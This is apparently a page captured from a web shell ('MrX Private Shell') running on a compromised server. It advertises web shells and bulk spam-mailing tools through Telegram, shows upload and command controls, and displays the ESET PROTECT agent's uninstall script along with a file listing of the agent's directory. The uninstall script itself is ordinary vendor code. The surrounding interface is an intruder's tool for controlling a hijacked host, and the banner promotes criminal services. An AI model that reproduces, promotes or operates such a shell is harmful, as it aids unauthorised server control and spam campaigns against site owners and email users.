__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/sh
# ESET PROTECT
#
# Copyright (c) 2026 ESET, spol. s r.o.

if [ `id -u` -ne 0 ];then
  echo "Not running as root!"; exit 1
fi

# clear environment variable UPSTART_SESSION -> otherwise initctl wont work as expected
unset UPSTART_SESSION

#############
# VARIABLES #
#############

product_name="Agent"
service_name="eraagent"
systemd_service="eraagent.service"
upstart_service="eraagent.conf"
ca_wrapper_basename="CustomActions"

program_bin_dir="/opt/eset/RemoteAdministrator/Agent"
program_config_dir="/etc/opt/eset/RemoteAdministrator/Agent"
program_data_dir="/var/opt/eset/RemoteAdministrator/Agent"
program_logs_dir="/var/log/eset/RemoteAdministrator/Agent"
program_libs_dir="/opt/eset/RemoteAdministrator/Agent"

setup_dir="/opt/eset/RemoteAdministrator/Agent/setup"
setup_db_connectors_dir="/opt/eset/RemoteAdministrator/Agent/setup"

log_dirname="/tmp"
log_basename="EraAgentUninstall.log"
log_file="$log_dirname/$log_basename"

#############
# FUNCTIONS #
#############

# Initialize log file
init_log()
{
  local adate
  adate="`date +%Y-%m-%d\ %H:%M:%S`"
  mkdir -p `dirname $log_file`
  echo "$adate Information: Uninstaller: Initializing logging to file $log_file" > $log_file
}


# Log message
log()
{
  local l_date
  l_date="`date +%Y-%m-%d\ %H:%M:%S`"
  echo "${l_date} Information: Uninstaller: $1" >> ${log_file}
}


log_echo()
{
  echo "$1"
  log "$1"
}


error_exit()
{
   echo ""
   echo "$0: ${1:-"Unknown Error"}" 1>&2
   echo ""
   exit 1
}


remove_dir()
{
  if [ -d $1 ];then
    log_echo "Removing directory $1"; rm -rf $1
  fi
}


remove_dir_if_empty()
{
  if [ -d $1 ];then
    if [ "x$1" = "x`find $1 -type d -empty`" ];then
      log_echo "Removing empty directory $1"; rmdir $1
    fi
  fi
}


action_uninstall_selinux_policy()
{
  local exitcode

  echo -n "Uninstalling SELinux policy..."
  log "Uninstalling SELinux policy."

  ${setup_dir}/selinux/eraagent.sh --uninstall > /dev/null 2>&1
  exitcode=$?

  if [ $exitcode -eq 0 ];then
    echo " done"
    log "Uninstalled SELinux policy."
  else
    echo " failure"
    log "Failed to uninstall SELinux policy."
  fi
}


action_uninstall_needrestart_exclusion()
{
  local exitcode

  echo -n "Uninstalling needrestart exclusion..."
  log "Uninstalling needrestart exclusion."

  if [ -e /etc/needrestart/conf.d/eraagent.needrestart.conf ]; then
    rm "/etc/needrestart/conf.d/eraagent.needrestart.conf"
    exitcode=$?

    if [ $exitcode -eq 0 ];then
      echo " done"
      log "Uninstalled needrestart exclusion."
    else
      echo " failure"
      log "Failed to uninstall needrestart exclusion."
    fi
  fi
}


uninstall()
{
  log "Starting uninstall sequence"

  # check if we are on Debian distribution (use update-rc.d) or not (use chkconfig)
  if command -v systemctl > /dev/null 2>&1 ; then
    if systemctl is-active $systemd_service > /dev/null 2>&1 ; then
      log_echo "Stopping running instance of $systemd_service"
      systemctl stop $systemd_service
    fi
    if systemctl is-enabled $systemd_service > /dev/null 2>&1 ; then
      log_echo "Disabling $systemd_service"
      systemctl disable $systemd_service
    fi
    if test -f /etc/systemd/system/$systemd_service; then
      log_echo "Removing service file /etc/systemd/system/$systemd_service"
      rm /etc/systemd/system/$systemd_service
    fi
  elif command -v initctl > /dev/null 2>&1 && [ -d /etc/init/ ]; then
    if initctl status $service_name 2> /dev/null | grep running > /dev/null 2>&1 ; then
      log_echo "Stopping running instance of $service_name"
      initctl stop $service_name
    fi
    if test -f "/etc/init/$upstart_service"; then
      log_echo "Removing service file /etc/init/$upstart_service"
      rm /etc/init/$upstart_service
    fi
  else
    if test -f /etc/init.d/$service_name; then
        log_echo "Stopping running instance of $service_name"
        /etc/init.d/$service_name stop
        log_echo "Removing service script /etc/init.d/$service_name"
        rm /etc/init.d/$service_name
    fi
    log_echo "Unregistering service $service_name"
    if command -v update-rc.d >/dev/null 2>&1 ; then
      update-rc.d -f $service_name remove
    else
      chkconfig $service_name off
      chkconfig --del $service_name
    fi
  fi

  # check if config file exists
  #if [ -f ${config_path} ]; then
  #    sed '/ProductInstanceID/!d' ${config_path} > ${config_path}.tmp
  #    mv ${config_path}.tmp ${config_path}
  #    log_echo "Saved product GUID to config file ${config_path}"
  #fi

  # remove needrestart exclusion if present
  action_uninstall_needrestart_exclusion

  # remove SELinux policy (NOTE: has to be called before directories are removed)
  action_uninstall_selinux_policy

  install_log=/var/log/eset/RemoteAdministrator/EraAgentInstaller.log
  test -f "$install_log" && unlink "$install_log"

  # remove directories
  remove_dir $program_bin_dir
  remove_dir $program_config_dir
  remove_dir $program_data_dir
  remove_dir $program_logs_dir
  remove_dir $program_libs_dir
  remove_dir $setup_dir
  remove_dir $setup_db_connectors_dir

  # remove parent dirs if empty
  remove_dir_if_empty `dirname $program_bin_dir`
  remove_dir_if_empty `dirname $program_data_dir`
  remove_dir_if_empty `dirname $program_config_dir`
  remove_dir_if_empty `dirname $program_logs_dir`
  remove_dir_if_empty "/var/opt/eset"
  remove_dir_if_empty "/var/log/eset"
  remove_dir_if_empty "/etc/opt/eset"
  remove_dir_if_empty "/opt/eset"

  log "Stopping uninstall sequence."
  echo "Product uninstalled."
  exit 0
}

init_log

uninstall


Filemanager

Name Type Size Permission Actions
Database Folder 0755
Modules Folder 0775
selinux Folder 0755
CustomActions File 7.13 MB 0755
NativeSqliteConnector.so File 2.67 MB 0644
eraagent File 3.15 KB 0755
eraagent.conf File 331 B 0644
info_get.command File 21.99 KB 0755
installer_backup.sh File 49.21 MB 0511
restart.sh File 987 B 0755
uninstall.sh File 5.42 KB 0755
Filemanager